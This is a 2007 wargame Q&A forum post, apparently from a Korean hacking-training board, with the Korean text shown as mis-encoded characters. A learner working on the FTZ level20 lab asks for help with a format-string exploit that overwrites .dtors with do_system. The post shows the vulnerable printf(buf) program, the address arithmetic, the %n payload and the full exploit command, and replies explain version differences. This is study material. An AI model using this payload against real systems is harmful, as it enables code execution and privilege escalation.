·¹º§ ÇØÅ·

 2844, 6/143 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   pogusm
   dtors + do_system ÇÔ¼ö °ü·Ã Áú¹®Á» µå¸®°Ú½À´Ï´Ù~

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2595 [º¹»ç]


¸îÀϸ¸¿¡ ¿À³×¿ä.. ¤»¤»

http://x82.inetcop.org/h0me/papers/FC_exploit/FC-remote_do_system.txt
http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_do_system.txt
http://x82.inetcop.org/h0me/papers/FC_exploit/FC_local_do_system2.txt

À§ ¹®¼­µéÀ» º¸¸ç... ½Ç½ÀÇÏ´Â ÁßÀÔ´Ï´Ù¸¸...

telnet ftz.hacekrschool.org¿¡¼­ Å×½ºÆ®°¡ Àß ¾ÈµÇ¾î¼­ Áú¹®µå¸³´Ï´Ù....
------------------------------------------
[level20@ftz in]$ cat printf.c
#include <stdio.h>

int main(int argc,char *argv[])
{
        char buf[256];
        strncpy(buf,argv[1],256-1);
        printf(buf);
}
[level20@ftz in]$ gcc -o printf printf.c

[level20@ftz in]$ objdump -s -j .dtors printf

printf:     file format elf32-i386q

Contents of section .dtors:
8049530 ffffffff 00000000                    ........
[level20@ftz in]$  


"\x34\x95\x04\x08\x36\x95\x04\x08"
"\x38\x95\x04\x08\x3a\x95\x04\x08"

Dump of assembler code for function do_system:
0x400644b0 <do_system+0>:       push   %ebp
0x400644b1 <do_system+1>:       mov    %esp,%ebp

0x44b0=17584  / 17584-16=17568
0x14006=81926 / 81926-17584=64342

0x6873 > 0x16873=92275 / 92275-81926=10349
0x0000 > 0x20000=131072 / 131072-92275=38797

%17568x%4$n
%64342x%5$n
%10349x%6$n
%38797x%7$n


[level20@ftz in]$   ./printf `python -c 'print "\x34\x95\x04\x08\x36\x95\x04\x08"+"\x38\x95\x04\x08\x3a\x95\x04\x08"+"%17568x%4$n%64342x%5$n%10349x%6$n%38797x%7$n"'`
                                 ......               ......          sh: -c: option requires an argument
¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù
[level20@ftz in]$  
-----------------------------------------

gdb »ó¿¡¼­,
x/x $ebp+8 À» Çغ¸¸é... 0x00000000°ªÀÌ µé¾î°¡ Àֳ׿ä...

0x08049538ÀÌ µé¾î°¡¾ß Çϴµ¥... ¿Ö ±×·±°É±î¿ä?

------------------------------------------

[level20@ftz in]$ cat test.c
int main()
{
        system("sh");
}
À§ ¿¹Á¦·Î Å×½ºÆ®Çغ»°á°ú...

br *do_system+8 ±îÁö ½ÇÇàÇÑÈÄ
x/x $ebp+8 ÀÇ °ªÀº, "sh"¹®ÀÚ¿­À» Á¤»óÀûÀ¸·Î °¡¸£Å°°í Àִµ¥ ¸»ÀÔ´Ï´Ù...


ÈÞ... ¿Ø¸¸Çϸé.. ½º½º·Î ÇØ°áÇغ¸·Á°í Çߴµ¥...
´äÀÌ ¾È³ª¿À³×¿ä... ÈåÀ½..

Á¶¾ð ºÎŹµå¸³´Ï´Ù... ±Á½Å±Á½Å. ^^;

  Hit : 3697     Date : 2007/12/05 11:31



    
randomkid µ¿ÈÆ´ÔÀÇ do_system Exploit±â¹ýÀº FC3À̻󿡼­ ºÎÅÍ Àû¿ëÀÌ °¡´ÉÇÑ °ÍÀÔ´Ï´Ù. ¹öÁ¯¿¡ µû¸¥ do_systemÄڵ尡 ´Ù¸¨´Ï´Ù. ^^ 2007/12/06
pogusm ¾Æ.. ±×·¸±º¿ä... // Á¤È®È÷.. Ä¿³ÎÀÇ Â÷À̶§¹®Àΰǰ¡¿ä?? 2007/12/06  
pogusm ¾Æ.. do_systemÀÇ ¹öÀüµµ Â÷ÀÌ°¡ Àִ°ǰ¡º¸±º¿ä... 2007/12/06  
2744   ·¹º§8¿¡¼­[3]     a2pjin
09/10 3718
2743   ·¹º§12[4]     zipds
09/12 3715
2742   level1 ÀÌ°Å ¹®Á¦ ¾îµð¼­???....[7]     yeari
09/06 3713
  dtors + do_system ÇÔ¼ö °ü·Ã Áú¹®Á» µå¸®°Ú½À´Ï´Ù~[3]     pogusm
12/05 3696
2740   lob gremlin....[1]     vngkv123
03/22 3695
2739   level2 Áú¹®!!!![1]     slyfiox2
09/07 3692
2738   ·¹º§1À̼­¿ä..[4]     Jamak
09/07 3688
2737   ·¹º§10 ¿¡¼­[2]     3cushion
10/01 3686
2736   ¿¡±×¼¿¿¡ ´ëÇؼ­ °£´ÜÇÏ°Ô Áú¹®Á»ÇÒ²²¿ä...¤¾¤¾[1]     commio
09/04 3685
2735     [re] ·¹º§3[2]     a2pjin
09/11 3681
2734   À½³Ä....¹¹ level1 ºÎÅÍ ¸·Çô¹ö¸®´Â±º¿ä.[4]     ¤·¤²¤·
07/19 3670
2733   Level 13ÇÏ´Â µµÁß Áú¹®ÀÌ¿ä....[6]     ¶óÀÓ»öÇÏ´Ã
07/19 3665
2732   ·¹º§ 3 ¿¡¼­¿ä ã±â ÇÑÈÄ /bin/autodig ³ª¿À´Âµ¥ ±×´ã ¾î¶»°Ô ÇØ¿ä? ½ÇÇàÇÏ¸é ´Ù¸¥°Å ³ª¿À´øµ¥..[2]     tjddbs6621
09/06 3659
2731   ·¹º§11¿¡¼­ Áú¹® Àִµ¥¿ä...[1]     ½Ã½ºÅÛCA
09/20 3653
2730   ·¹º§ 1 Áú¹®~~[5]     crazynut486
09/06 3649
2729   ¼ÒÀ¯´Ô ·¹º§3 °­ÁÂÁ».......[5]     Ä«ÀÌÀú9
09/10 3645
2728   LOB Áú¹® µå·Á¿ä. (BASH2)[1]     incaro
05/23 3644
2727   level8 Á¸´õ¸®ÆÛ »ç¿ë¹ý ¹®ÀÇ[5]     ±¤·æ
08/24 3638
2726   ·¹º§3¿¡¼­[1]     3cushion
09/11 3637
2725   Level2 Áú¹®[6]     N.O.V.E.L
09/12 3633
[1][2][3][4][5] 6 [7][8][9][10]..[143]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org